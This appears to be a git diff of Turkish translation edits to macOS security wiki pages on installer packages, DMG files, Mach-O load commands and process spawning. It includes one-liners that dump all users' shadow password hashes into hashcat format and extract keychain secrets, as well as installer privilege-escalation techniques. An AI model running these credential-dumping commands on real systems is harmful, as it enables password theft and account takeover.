- **Yük (CPIO arşivi gzip sıkıştırılmış)**: Paket Bilgisi'nden `install-location`'da yüklenecek dosyalar - **Yük (CPIO arşivi gzip sıkıştırılmış)**: Paket Bilgisi'nden `install-location`'da yüklenecek dosyalar
- **Betikler (CPIO arşivi gzip sıkıştırılmış)**: Kurulumdan önce ve sonra betikler ve yürütme için geçici bir dizine çıkarılan daha fazla kaynak. - **Scriptler (CPIO arşivi gzip sıkıştırılmış)**: Kurulumdan önce ve sonra scriptler ve yürütme için geçici bir dizine çıkarılan daha fazla kaynak.
### Sıkıştırmayı ### Sıkıştırmayı
```bash ```bash
@ -32,11 +32,11 @@ xar -xf "/path/to/package.pkg"
cat Scripts | gzip -dc | cpio -i cat Scripts | gzip -dc | cpio -i
cpio -i < Scripts cpio -i < Scripts
``` ```
Installer'ın içeriğini manuel olarak sıkıştırmadan görselleştirmek için ücretsiz [**Suspicious Package**](https://mothersruin.com/software/SuspiciousPackage/) aracını da kullanabilirsiniz. Installer'ın içeriğini manuel olarak sıkıştırmadan görselleştirmek için ücretsiz bir araç olan [**Suspicious Package**](https://mothersruin.com/software/SuspiciousPackage/) kullanabilirsiniz.
## DMG Temel Bilgiler ## DMG Temel Bilgiler
DMG dosyaları, veya Apple Disk Görüntüleri, Apple'ın macOS'u tarafından disk görüntüleri için kullanılan bir dosya formatıdır. Bir DMG dosyası esasen **monte edilebilir bir disk görüntüsü** (kendi dosya sistemini içerir) olup, genellikle sıkıştırılmış ve bazen şifrelenmiş ham blok verileri içerir. Bir DMG dosyasını açtığınızda, macOS **onu fiziksel bir disk gibi monte eder**, böylece içeriğine erişebilirsiniz. DMG dosyaları veya Apple Disk Görüntüleri, Apple'ın macOS'u tarafından disk görüntüleri için kullanılan bir dosya formatıdır. Bir DMG dosyası esasen **monte edilebilir bir disk görüntüsü** (kendi dosya sistemini içerir) olup, genellikle sıkıştırılmış ve bazen şifrelenmiş ham blok verileri içerir. Bir DMG dosyasını açtığınızda, macOS **onu fiziksel bir disk gibi monte eder**, böylece içeriğine erişebilirsiniz.
> [!CAUTION] > [!CAUTION]
> **`.dmg`** yükleyicilerinin **çok sayıda formatı** desteklediğini ve geçmişte bazılarının zafiyetler içerdiğini ve **kernel kodu yürütme** elde etmek için kötüye kullanıldığını unutmayın. > **`.dmg`** yükleyicilerinin **çok sayıda formatı** desteklediğini ve geçmişte bazılarının zafiyetler içerdiğini ve **kernel kodu yürütme** elde etmek için kötüye kullanıldığını unutmayın.
@ -45,13 +45,13 @@ DMG dosyaları, veya Apple Disk Görüntüleri, Apple'ın macOS'u tarafından di
<figure><img src="../../../images/image (225).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (225).png" alt=""><figcaption></figcaption></figure>
Bir DMG dosyasının hiyerarşisi içeriğe bağlı olarak farklı olabilir. Ancak, uygulama DMG'leri için genellikle bu yapıyı takip eder: Bir DMG dosyasının hiyerarşisi içeriğe bağlı olarak farklılık gösterebilir. Ancak, uygulama DMG'leri için genellikle bu yapıyı takip eder:
- Üst Düzey: Bu, disk görüntüsünün köküdür. Genellikle uygulamayı ve muhtemelen Uygulamalar klasörüne bir bağlantı içerir. - Üst Düzey: Bu, disk görüntüsünün köküdür. Genellikle uygulamayı ve muhtemelen Uygulamalar klasörüne bir bağlantı içerir.
- Uygulama (.app): Bu, gerçek uygulamadır. macOS'ta, bir uygulama genellikle uygulamayı oluşturan birçok bireysel dosya ve klasör içeren bir pakettir. - Uygulama (.app): Bu, gerçek uygulamadır. macOS'ta bir uygulama genellikle uygulamayı oluşturan birçok bireysel dosya ve klasör içeren bir pakettir.
- Uygulamalar Bağlantısı: Bu, macOS'taki Uygulamalar klasörüne bir kısayoldur. Bunun amacı, uygulamayı kolayca yüklemenizi sağlamaktır. .app dosyasını bu kısayola sürükleyerek uygulamayı yükleyebilirsiniz. - Uygulamalar Bağlantısı: Bu, macOS'taki Uygulamalar klasörüne bir kısayoldur. Bunun amacı, uygulamayı kolayca yüklemenizi sağlamaktır. .app dosyasını bu kısayola sürükleyerek uygulamayı yükleyebilirsiniz.
## Privesc pkg kötüye kullanımı ## pkg kötüye kullanımı ile Privesc
### Kamu dizinlerinden yürütme ### Kamu dizinlerinden yürütme
@ -61,7 +61,7 @@ Eğer bir ön veya sonrası yükleme betiği örneğin **`/var/tmp/Installerutil
### AuthorizationExecuteWithPrivileges ### AuthorizationExecuteWithPrivileges
Bu, birçok yükleyici ve güncelleyici tarafından **root olarak bir şey yürütmek için** çağrılan bir [kamusal işlev](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg) dir. Bu işlev, **yürütülecek dosyanın** **yolunu** parametre olarak kabul eder, ancak eğer bir saldırgan bu dosyayı **değiştirebilirse**, root ile yürütmesini **kötüye kullanabilir** ve **ayrıcalıkları artırabilir**. Bu, birk yükleyici ve güncelleyici tarafından **root olarak bir şey yürütmek için** çağrılan bir [kamusal işlev](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg) dir. Bu işlev, **yürütülecek dosyanın** **yolu** nu parametre olarak kabul eder, ancak bir saldırgan bu dosyayı **değiştirebilirse**, root ile yürütmesini **kötüye kullanabilir** ve **ayrıcalıkları artırabilir**.
```bash ```bash
# Breakpoint in the function to check wich file is loaded # Breakpoint in the function to check wich file is loaded
(lldb) b AuthorizationExecuteWithPrivileges (lldb) b AuthorizationExecuteWithPrivileges
@ -71,9 +71,9 @@ For more info check this talk: [https://www.youtube.com/watch?v=lTOItyjTTkw](htt
### Montaj ile yürütme ### Montaj ile yürütme
Eğer bir yükleyici `/tmp/fixedname/bla/bla` yoluna yazıyorsa, yükleme sürecini kötüye kullanmak için yükleme sırasında **herhangi bir dosyayı değiştirmek** amacıyla **/tmp/fixedname** üzerinde noowners ile **bir montaj oluşturmak** mümkündür. Eğer bir yükleyici `/tmp/fixedname/bla/bla` yoluna yazıyorsa, yükleme sürecini kötüye kullanmak için **yükleme sırasında herhangi bir dosyayı değiştirmek** amacıyla `noowners` ile `/tmp/fixedname` üzerinde **bir montaj oluşturmak** mümkündür.
Bunun bir örneği **CVE-2021-26089**'dur; bu, root olarak yürütme elde etmek için **dönemsel bir betiği** **üst üste yazmayı** başarmıştır. Daha fazla bilgi için konuşmaya göz atın: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE) Bunun bir örneği **CVE-2021-26089**'dur; bu, kök olarak yürütme elde etmek için **dönemsel bir betiği** **üst üste yazmayı** başarmıştır. Daha fazla bilgi için konuşmaya bakın: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
## pkg kötü amaçlı yazılım olarak ## pkg kötü amaçlı yazılım olarak
@ -83,7 +83,7 @@ Gerçek bir yük olmadan sadece **kötü amaçlı yazılım** içeren **ön ve s
### Dağıtım xml'inde JS ### Dağıtım xml'inde JS
Paketin **dağıtım xml** dosyasına **`<script>`** etiketleri eklemek mümkündür ve bu kod yürütülecek ve **`system.run`** kullanarak **komutlar** **yürütme** yeteneğine sahip olacaktır: Paketin **dağıtım xml** dosyasına **`<script>`** etiketleri eklemek mümkündür ve bu kod yürütülecek ve **`system.run`** kullanarak **komutlar** **yürütülebilir**:
<figure><img src="../../../images/image (1043).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1043).png" alt=""><figcaption></figcaption></figure>

View File

@ -10,7 +10,7 @@ Takas dosyaları, örneğin `/private/var/vm/swapfile0`, **fiziksel bellek doldu
### Hibernasyon Görüntüsü ### Hibernasyon Görüntüsü
`/private/var/vm/sleepimage` konumundaki dosya, **hibernasyon modunda** kritik öneme sahiptir. **OS X hibernasyona geçtiğinde bellek verileri bu dosyada saklanır**. Bilgisayar uyandığında, sistem bu dosyadan bellek verilerini alır ve kullanıcı kaldığı yerden devam edebilir. `/private/var/vm/sleepimage` konumundaki dosya, **hibernasyon modunda** kritik öneme sahiptir. **OS X hibernasyona geçtiğinde bellek verileri bu dosyada saklanır**. Bilgisayar uyandığında, sistem bu dosyadan bellek verilerini alır ve kullanıcının kaldığı yerden devam etmesine olanak tanır.
Modern MacOS sistemlerinde, bu dosyanın genellikle güvenlik nedenleriyle şifreli olduğunu ve kurtarmanın zor olduğunu belirtmek gerekir. Modern MacOS sistemlerinde, bu dosyanın genellikle güvenlik nedenleriyle şifreli olduğunu ve kurtarmanın zor olduğunu belirtmek gerekir.

View File

@ -6,26 +6,26 @@
### Gölge Parolalar ### Gölge Parolalar
Gölge parola, **`/var/db/dslocal/nodes/Default/users/`** konumundaki plistlerde kullanıcının yapılandırması ile birlikte saklanır.\ Gölge parolası, **`/var/db/dslocal/nodes/Default/users/`** konumundaki plistlerde kullanıcının yapılandırması ile birlikte saklanır.\
Aşağıdaki tek satırlık komut, **kullanıcılar hakkında tüm bilgileri** (hash bilgileri dahil) dökmek için kullanılabilir: Aşağıdaki tek satırlık komut, **kullanıcılar hakkında tüm bilgileri** (hash bilgileri dahil) dökmek için kullanılabilir:
```bash ```bash
for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; fi; done for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; fi; done
``` ```
[**Bu tür scriptler**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) veya [**şu**](https://github.com/octomagon/davegrohl.git) **hashcat** **formatına** dönüştürmek için kullanılabilir. [**Bu tür scriptler**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) veya [**şu**](https://github.com/octomagon/davegrohl.git) **hashcat** **formatına** dönüştürmek için kullanılabilir.
Tüm hizmet dışı hesapların kimlik bilgilerini hashcat formatında `-m 7100` (macOS PBKDF2-SHA512) dökecek alternatif bir tek satırlık komut: Hashcat formatında `-m 7100` (macOS PBKDF2-SHA512) tüm hizmet dışı hesapların kimlik bilgilerini dökecek alternatif bir tek satırlık komut:
```bash ```bash
sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done' sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done'
``` ```
Başka bir kullanıcının `ShadowHashData`sını elde etmenin bir yolu `dscl` kullanmaktır: `` sudo dscl . -read /Users/`whoami` ShadowHashData `` Başka bir kullanıcıya ait `ShadowHashData`'yı elde etmenin bir yolu `dscl` kullanmaktır: `` sudo dscl . -read /Users/`whoami` ShadowHashData ``
### /etc/master.passwd ### /etc/master.passwd
Bu dosya **yalnızca** sistem **tek kullanıcı modunda** çalıştığında kullanılır (bu nedenle çok sık değildir). Bu dosya **yalnızca** sistemin **tek kullanıcı modunda** çalıştığı zaman **kullanılır** (bu nedenle çok sık değildir).
### Anahtar Zinciri Dökümü ### Anahtar Zinciri Dökümü
Şifrelerin şifresinin çözüldüğü**dökme** işlemi için güvenlik ikili dosyasını kullanırken, kullanıcıdan bu işlemi onaylaması için birkaç istem olacaktır. Şifrelerin şifresinin çözüldüğü **dökümü** almak için security ikili dosyasını kullanırken, kullanıcıdan bu işlemi onaylaması için birkaç istem geleceğini unutmayın.
```bash ```bash
#security #security
security dump-trust-settings [-s] [-d] #List certificates security dump-trust-settings [-s] [-d] #List certificates
@ -41,7 +41,7 @@ security dump-keychain -d #Dump all the info, included secrets (the user will be
### Keychaindump Genel Bakış ### Keychaindump Genel Bakış
**keychaindump** adlı bir araç, macOS anahtar zincirlerinden şifreleri çıkarmak için geliştirilmiştir, ancak Big Sur gibi daha yeni macOS sürümlerinde sınırlamalarla karşılaşmaktadır; bu durum bir [tartışmada](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760) belirtilmiştir. **keychaindump** kullanmak, saldırganın erişim sağlaması ve **root** ayrıcalıklarını artırması gerektirir. Araç, anahtar zincirinin kullanıcı girişi sırasında varsayılan olarak kilidinin açılmasını kullanarak, uygulamaların kullanıcı şifresini tekrar tekrar istemeden erişim sağlamasına olanak tanır. Ancak, bir kullanıcı her kullanım sonrası anahtar zincirini kilitlemeyi tercih ederse, **keychaindump** etkisiz hale gelir. **keychaindump** adlı bir araç, macOS anahtar zincirlerinden şifreleri çıkarmak için geliştirilmiştir, ancak Big Sur gibi daha yeni macOS sürümlerinde sınırlamalarla karşılaşmaktadır; bu durum bir [tartışmada](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760) belirtilmiştir. **keychaindump** kullanmak, saldırganın erişim sağlaması ve **root** ayrıcalıklarını yükseltmesi gerektirir. Araç, anahtar zincirinin kullanıcı girişi sırasında varsayılan olarak kilidinin açılmasını kullanarak, uygulamaların kullanıcı şifresini tekrar tekrar istemeden erişim sağlamasına olanak tanır. Ancak, bir kullanıcı her kullanım sonrası anahtar zincirini kilitlemeyi tercih ederse, **keychaindump** etkisiz hale gelir.
**Keychaindump**, Apple tarafından yetkilendirme ve kriptografik işlemler için bir daemon olarak tanımlanan **securityd** adlı belirli bir süreci hedef alarak çalışır; bu, anahtar zincirine erişim için kritik öneme sahiptir. Çıkarma süreci, kullanıcının giriş şifresinden türetilen bir **Master Key**'in tanımlanmasını içerir. Bu anahtar, anahtar zinciri dosyasını okumak için gereklidir. **Master Key**'i bulmak için, **keychaindump** `vmmap` komutunu kullanarak **securityd**'nin bellek yığınını tarar ve `MALLOC_TINY` olarak işaretlenmiş alanlarda potansiyel anahtarları arar. Bu bellek konumlarını incelemek için aşağıdaki komut kullanılır: **Keychaindump**, Apple tarafından yetkilendirme ve kriptografik işlemler için bir daemon olarak tanımlanan **securityd** adlı belirli bir süreci hedef alarak çalışır; bu, anahtar zincirine erişim için kritik öneme sahiptir. Çıkarma süreci, kullanıcının giriş şifresinden türetilen bir **Master Key**'in tanımlanmasını içerir. Bu anahtar, anahtar zinciri dosyasını okumak için gereklidir. **Master Key**'i bulmak için, **keychaindump** `vmmap` komutunu kullanarak **securityd**'nin bellek yığınını tarar ve `MALLOC_TINY` olarak işaretlenmiş alanlarda potansiyel anahtarları arar. Bu bellek konumlarını incelemek için aşağıdaki komut kullanılır:
```bash ```bash
@ -235,7 +235,7 @@ Aynı zamanda daemon ve bağlantılar hakkında bilgi almak için de kullanılab
Bu, kullanıcının ekranda görmesi gereken bildirimlerdir: Bu, kullanıcının ekranda görmesi gereken bildirimlerdir:
- **`CFUserNotification`**: Bu API, ekranda bir mesajla pop-up gösterme imkanı sağlar. - **`CFUserNotification`**: Bu API, ekranda bir mesajla pop-up gösterme imkanı sağlar.
- **Bülten Tahtası**: Bu, iOS'ta kaybolan ve Bildirim Merkezi'nde saklanan bir banner gösterir. - **Bülten Panosu**: Bu, iOS'ta kaybolan ve Bildirim Merkezi'nde saklanan bir banner gösterir.
- **`NSUserNotificationCenter`**: Bu, MacOS'taki iOS bülten tahtasıdır. Bildirimlerin bulunduğu veritabanı `/var/folders/<user temp>/0/com.apple.notificationcenter/db2/db` konumundadır. - **`NSUserNotificationCenter`**: Bu, MacOS'taki iOS bülten panosudur. Bildirimlerin bulunduğu veritabanı `/var/folders/<user temp>/0/com.apple.notificationcenter/db2/db` konumundadır.
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -141,7 +141,7 @@ Kaynak kodu, kütüphaneleri yüklemek için yararlı olan birkaç bayrak tanım
- `MH_NO_HEAP_EXECUTION`: Yığın/veri sayfaları için yürütme yok - `MH_NO_HEAP_EXECUTION`: Yığın/veri sayfaları için yürütme yok
- `MH_HAS_OBJC`: İkili oBject-C bölümlerine sahiptir - `MH_HAS_OBJC`: İkili oBject-C bölümlerine sahiptir
- `MH_SIM_SUPPORT`: Simülatör desteği - `MH_SIM_SUPPORT`: Simülatör desteği
- `MH_DYLIB_IN_CACHE`: Paylaşılan kütüphane önbelleğinde dylibs/frameworks için kullanılır. - `MH_DYLIB_IN_CACHE`: Paylaşılan kütüphane önbelleğinde dylibs/frameworks üzerinde kullanılır.
## **Mach-O Yükleme komutları** ## **Mach-O Yükleme komutları**
@ -154,7 +154,7 @@ uint32_t cmd; /* type of load command */
uint32_t cmdsize; /* total size of command in bytes */ uint32_t cmdsize; /* total size of command in bytes */
}; };
``` ```
**50 farklı yükleme komut türü** vardır ve sistem bunları farklı şekilde işler. En yaygın olanları: `LC_SEGMENT_64`, `LC_LOAD_DYLINKER`, `LC_MAIN`, `LC_LOAD_DYLIB` ve `LC_CODE_SIGNATURE`. **Sistem tarafından farklı şekilde işlenen yaklaşık **50 farklı yükleme komutu türü** vardır. En yaygın olanları: `LC_SEGMENT_64`, `LC_LOAD_DYLINKER`, `LC_MAIN`, `LC_LOAD_DYLIB` ve `LC_CODE_SIGNATURE`.
### **LC_SEGMENT/LC_SEGMENT_64** ### **LC_SEGMENT/LC_SEGMENT_64**
@ -169,18 +169,18 @@ Bu komutlar, bir işlem çalıştırıldığında **sanallaştırılmış bellek
Başlıkta önce **segment başlığı** bulunur: Başlıkta önce **segment başlığı** bulunur:
<pre class="language-c"><code class="lang-c">struct segment_command_64 { /* for 64-bit architectures */ <pre class="language-c"><code class="lang-c">struct segment_command_64 { /* 64-bit mimariler için */
uint32_t cmd; /* LC_SEGMENT_64 */ uint32_t cmd; /* LC_SEGMENT_64 */
uint32_t cmdsize; /* includes sizeof section_64 structs */ uint32_t cmdsize; /* section_64 yapı boyutunu içerir */
char segname[16]; /* segment name */ char segname[16]; /* segment adı */
uint64_t vmaddr; /* memory address of this segment */ uint64_t vmaddr; /* bu segmentin bellek adresi */
uint64_t vmsize; /* memory size of this segment */ uint64_t vmsize; /* bu segmentin bellek boyutu */
uint64_t fileoff; /* file offset of this segment */ uint64_t fileoff; /* bu segmentin dosya ofseti */
uint64_t filesize; /* amount to map from the file */ uint64_t filesize; /* dosyadan haritalanacak miktar */
int32_t maxprot; /* maximum VM protection */ int32_t maxprot; /* maksimum VM koruma */
int32_t initprot; /* initial VM protection */ int32_t initprot; /* başlangıç VM koruma */
<strong> uint32_t nsects; /* number of sections in segment */ <strong> uint32_t nsects; /* segmentteki bölüm sayısı */
</strong> uint32_t flags; /* flags */ </strong> uint32_t flags; /* bayraklar */
}; };
</code></pre> </code></pre>
@ -188,7 +188,7 @@ Segment başlığı örneği:
<figure><img src="../../../images/image (1126).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1126).png" alt=""><figcaption></figcaption></figure>
Bu başlık, **sonrasında gelen başlıkları olan bölüm sayısını** tanımlar: Bu başlık, **sonrasında görünen bölüm başlıklarının sayısını** tanımlar:
```c ```c
struct section_64 { /* for 64-bit architectures */ struct section_64 { /* for 64-bit architectures */
char sectname[16]; /* name of this section */ char sectname[16]; /* name of this section */
@ -236,9 +236,9 @@ Bu cmd tarafından yüklenen yaygın segmentler:
- `__cfstring`: CoreFoundation string'leri - `__cfstring`: CoreFoundation string'leri
- `__data`: Küresel değişkenler (başlatılmış olanlar) - `__data`: Küresel değişkenler (başlatılmış olanlar)
- `__bss`: Statik değişkenler (başlatılmamış olanlar) - `__bss`: Statik değişkenler (başlatılmamış olanlar)
- `__objc_*` (\_\_objc_classlist, \_\_objc_protolist, vb.): Objective-C çalışma zamanı tarafından kullanılan bilgiler - `__objc_*` (\_\_objc_classlist, \_\_objc_protolist, vb): Objective-C çalışma zamanı tarafından kullanılan bilgiler
- **`__DATA_CONST`**: \_\_DATA.\_\_const sabit olacağı garanti edilmez (yazma izinleri), diğer işaretçiler ve GOT da öyle. Bu bölüm, `__const`, bazı başlatıcılar ve GOT tablosunu (bir kez çözüldüğünde) **sadece okunabilir** hale getirir. - **`__DATA_CONST`**: \_\_DATA.\_\_const sabit olacağı garanti edilmez (yazma izinleri), diğer işaretçiler ve GOT da öyle. Bu bölüm, `__const`, bazı başlatıcılar ve GOT tablosunu (bir kez çözüldüğünde) **sadece okunabilir** hale getirir.
- **`__LINKEDIT`**: Bağlayıcı (dyld) için sembol, string ve yer değiştirme tablosu girişleri gibi bilgileri içerir. `__TEXT` veya `__DATA` içinde olmayan içerikler için genel bir konteynerdir ve içeriği diğer yükleme komutlarında tanımlanır. - **`__LINKEDIT`**: Bağlayıcı (dyld) için sembol, string ve yer değiştirme tablosu girişleri gibi bilgileri içerir. `__TEXT` veya `__DATA` içinde olmayan içerikler için genel bir konteynırdır ve içeriği diğer yükleme komutlarında tanımlanır.
- dyld bilgisi: Yeniden temel alma, Tembel/tembel olmayan/zayıf bağlama opcode'ları ve dışa aktarma bilgisi - dyld bilgisi: Yeniden temel alma, Tembel/tembel olmayan/zayıf bağlama opcode'ları ve dışa aktarma bilgisi
- Fonksiyon başlangıçları: Fonksiyonların başlangıç adresleri tablosu - Fonksiyon başlangıçları: Fonksiyonların başlangıç adresleri tablosu
- Kod İçindeki Veri: \_\_text içindeki veri adaları - Kod İçindeki Veri: \_\_text içindeki veri adaları
@ -258,7 +258,7 @@ Kodda görüldüğü gibi, **segmentler ayrıca bayrakları destekler** (her ne
### **`LC_UNIXTHREAD/LC_MAIN`** ### **`LC_UNIXTHREAD/LC_MAIN`**
**`LC_MAIN`** **entryoff** niteliğinde giriş noktasını içerir. Yükleme sırasında, **dyld** bu değeri (bellekteki) **ikili tabanın** üzerine **ekler**, ardından **bu talimata atlar** ve ikilinin kodunun yürütülmesine başlar. **`LC_MAIN`** **entryoff** niteliğinde giriş noktasını içerir. Yükleme sırasında, **dyld** bu değeri (bellekteki) **ikili tabanına** **ekler**, ardından **bu talimata atlar** ve ikilinin kodunun yürütülmesine başlar.
**`LC_UNIXTHREAD`** ana iş parçacığı başlatıldığında kayıtların sahip olması gereken değerleri içerir. Bu zaten kullanımdan kaldırılmıştır ancak **`dyld`** hala bunu kullanır. Bu kayıtların ayarlandığı değerleri görmek mümkündür: **`LC_UNIXTHREAD`** ana iş parçacığı başlatıldığında kayıtların sahip olması gereken değerleri içerir. Bu zaten kullanımdan kaldırılmıştır ancak **`dyld`** hala bunu kullanır. Bu kayıtların ayarlandığı değerleri görmek mümkündür:
```bash ```bash
@ -295,7 +295,7 @@ Ancak, bu bölüm hakkında bazı bilgileri [**bu blog yazısında**](https://da
### **`LC_LOAD_DYLINKER`** ### **`LC_LOAD_DYLINKER`**
Paylaşılan kütüphaneleri süreç adres alanına haritalayan **dinamik bağlayıcı yürütülebilir dosyasının yolunu** içerir. **Değer her zaman `/usr/lib/dyld` olarak ayarlanır**. macOS'ta, dylib haritalamanın **kullanıcı modunda**, çekirdek modunda değil, gerçekleştiğini belirtmek önemlidir. Paylaşılan kütüphaneleri süreç adres alanına haritalayan **dinamik bağlayıcı yürütülebilir dosyasının yolunu** içerir. **Değer her zaman `/usr/lib/dyld` olarak ayarlanır**. macOS'ta, dylib haritalamanın **kullanıcı modunda**, çekirdek modunda değil olduğunu belirtmek önemlidir.
### **`LC_IDENT`** ### **`LC_IDENT`**
@ -311,9 +311,9 @@ Süreç çalıştırılmadan önce dyld'ye ortam değişkenlerini belirtmeye ola
### **`LC_LOAD_DYLIB`** ### **`LC_LOAD_DYLIB`**
Bu yükleme komutu, **yükleyiciye** (dyld) **söz konusu kütüphaneyi yüklemesi ve bağlaması** için talimat veren bir **dinamik** **kütüphane** bağımlılığını tanımlar. Mach-O ikili dosyasının gerektirdiği **her kütüphane için bir `LC_LOAD_DYLIB` yükleme komutu vardır**. Bu yükleme komutu, **yükleyiciye** (dyld) **söz konusu kütüphaneyi yüklemesi ve bağlaması** talimatını veren bir **dinamik** **kütüphane** bağımlılığını tanımlar. Mach-O ikilisinin ihtiyaç duyduğu **her kütüphane için bir `LC_LOAD_DYLIB` yükleme komutu vardır**.
- Bu yükleme komutu, **gerçek bağımlı dinamik kütüphaneyi tanımlayan bir struct dylib içeren** **`dylib_command`** türünde bir yapıdır: - Bu yükleme komutu, gerçek bağımlı dinamik kütüphaneyi tanımlayan bir struct dylib içeren **`dylib_command`** türünde bir yapıdır:
```objectivec ```objectivec
struct dylib_command { struct dylib_command {
uint32_t cmd; /* LC_LOAD_{,WEAK_}DYLIB */ uint32_t cmd; /* LC_LOAD_{,WEAK_}DYLIB */

View File

@ -6,7 +6,7 @@
Bir işlem, çalışan bir yürütülebilir dosyanın bir örneğidir, ancak işlemler kod çalıştırmaz, bunlar ipliklerdir. Bu nedenle **işlemler sadece çalışan iplikler için konteynerlerdir** bellek, tanımlayıcılar, portlar, izinler sağlayarak... Bir işlem, çalışan bir yürütülebilir dosyanın bir örneğidir, ancak işlemler kod çalıştırmaz, bunlar ipliklerdir. Bu nedenle **işlemler sadece çalışan iplikler için konteynerlerdir** bellek, tanımlayıcılar, portlar, izinler sağlayarak...
Geleneksel olarak, işlemler diğer işlemler içinde (PID 1 hariç) **`fork`** çağrısı yapılarak başlatılırdı; bu, mevcut işlemin tam bir kopyasını oluşturur ve ardından **çocuk işlem** genellikle yeni yürütülebilir dosyayı yüklemek ve çalıştırmak için **`execve`** çağrısını yapardı. Daha sonra, bu işlemi bellek kopyalamadan daha hızlı hale getirmek için **`vfork`** tanıtıldı.\ Geleneksel olarak, işlemler diğer işlemler içinde (PID 1 hariç) **`fork`** çağrılarak başlatılırdı; bu, mevcut işlemin tam bir kopyasını oluşturur ve ardından **çocuk işlem** genellikle yeni yürütülebilir dosyayı yüklemek ve çalıştırmak için **`execve`** çağrısını yapardı. Daha sonra, bu işlemi bellek kopyalamadan daha hızlı hale getirmek için **`vfork`** tanıtıldı.\
Ardından **`posix_spawn`** tanıtıldı; bu, **`vfork`** ve **`execve`**'yi tek bir çağrıda birleştirir ve bayrakları kabul eder: Ardından **`posix_spawn`** tanıtıldı; bu, **`vfork`** ve **`execve`**'yi tek bir çağrıda birleştirir ve bayrakları kabul eder:
- `POSIX_SPAWN_RESETIDS`: Etkili kimlikleri gerçek kimliklere sıfırla - `POSIX_SPAWN_RESETIDS`: Etkili kimlikleri gerçek kimliklere sıfırla
@ -16,14 +16,14 @@ Ardından **`posix_spawn`** tanıtıldı; bu, **`vfork`** ve **`execve`**'yi tek
- `POSIX_SPAWN_SETEXEC`: Aynı işlemde exec (daha fazla seçenekle `execve` gibi) - `POSIX_SPAWN_SETEXEC`: Aynı işlemde exec (daha fazla seçenekle `execve` gibi)
- `POSIX_SPAWN_START_SUSPENDED`: Askıya alınmış olarak başlat - `POSIX_SPAWN_START_SUSPENDED`: Askıya alınmış olarak başlat
- `_POSIX_SPAWN_DISABLE_ASLR`: ASLR olmadan başlat - `_POSIX_SPAWN_DISABLE_ASLR`: ASLR olmadan başlat
- `_POSIX_SPAWN_NANO_ALLOCATOR:` libmalloc'un Nano ayıracını kullan - `_POSIX_SPAWN_NANO_ALLOCATOR:` libmalloc'un Nano ayıracısını kullan
- `_POSIX_SPAWN_ALLOW_DATA_EXEC:` Veri segmentlerinde `rwx` iznine izin ver - `_POSIX_SPAWN_ALLOW_DATA_EXEC:` Veri segmentlerinde `rwx`'e izin ver
- `POSIX_SPAWN_CLOEXEC_DEFAULT`: exec(2) ile varsayılan olarak tüm dosya tanımlarını kapat - `POSIX_SPAWN_CLOEXEC_DEFAULT`: exec(2) ile varsayılan olarak tüm dosya tanımlarını kapat
- `_POSIX_SPAWN_HIGH_BITS_ASLR:` ASLR kaydırmasının yüksek bitlerini rastgeleleştir - `_POSIX_SPAWN_HIGH_BITS_ASLR:` ASLR kaydırmasının yüksek bitlerini rastgeleleştir
Ayrıca, `posix_spawn`, oluşturulan işlemin bazı yönlerini kontrol eden bir **`posix_spawnattr`** dizisi belirtmeye ve tanımlayıcıların durumunu değiştirmek için **`posix_spawn_file_actions`** kullanmaya olanak tanır. Ayrıca, `posix_spawn`, oluşturulan işlemin bazı yönlerini kontrol eden bir **`posix_spawnattr`** dizisi belirtmeye ve tanımlayıcıların durumunu değiştirmek için **`posix_spawn_file_actions`** kullanmaya olanak tanır.
Bir işlem öldüğünde, **ana işleme dönüş kodunu gönderir** (eğer ana işlem öldüyse, yeni ana işlem PID 1'dir) `SIGCHLD` sinyali ile. Ana işlem, bu değeri almak için `wait4()` veya `waitid()` çağrısını yapmalıdır ve bu gerçekleşene kadar çocuk bir zombi durumunda kalır; hala listelenir ancak kaynak tüketmez. Bir işlem öldüğünde, **ana işleme dönüş kodunu gönderir** (eğer ana işlem öldüyse, yeni ana işlem PID 1'dir) `SIGCHLD` sinyali ile. Ana işlem, bu değeri `wait4()` veya `waitid()` çağrısını yaparak almalıdır ve bu gerçekleşene kadar çocuk bir zombi durumunda kalır; hala listelenir ancak kaynak tüketmez.
### PIDs ### PIDs
@ -38,9 +38,9 @@ Koalisyon, Darwin'de işlemleri gruplamanın başka bir yoludur. Bir koalisyona
### Credentials & Personae ### Credentials & Personae
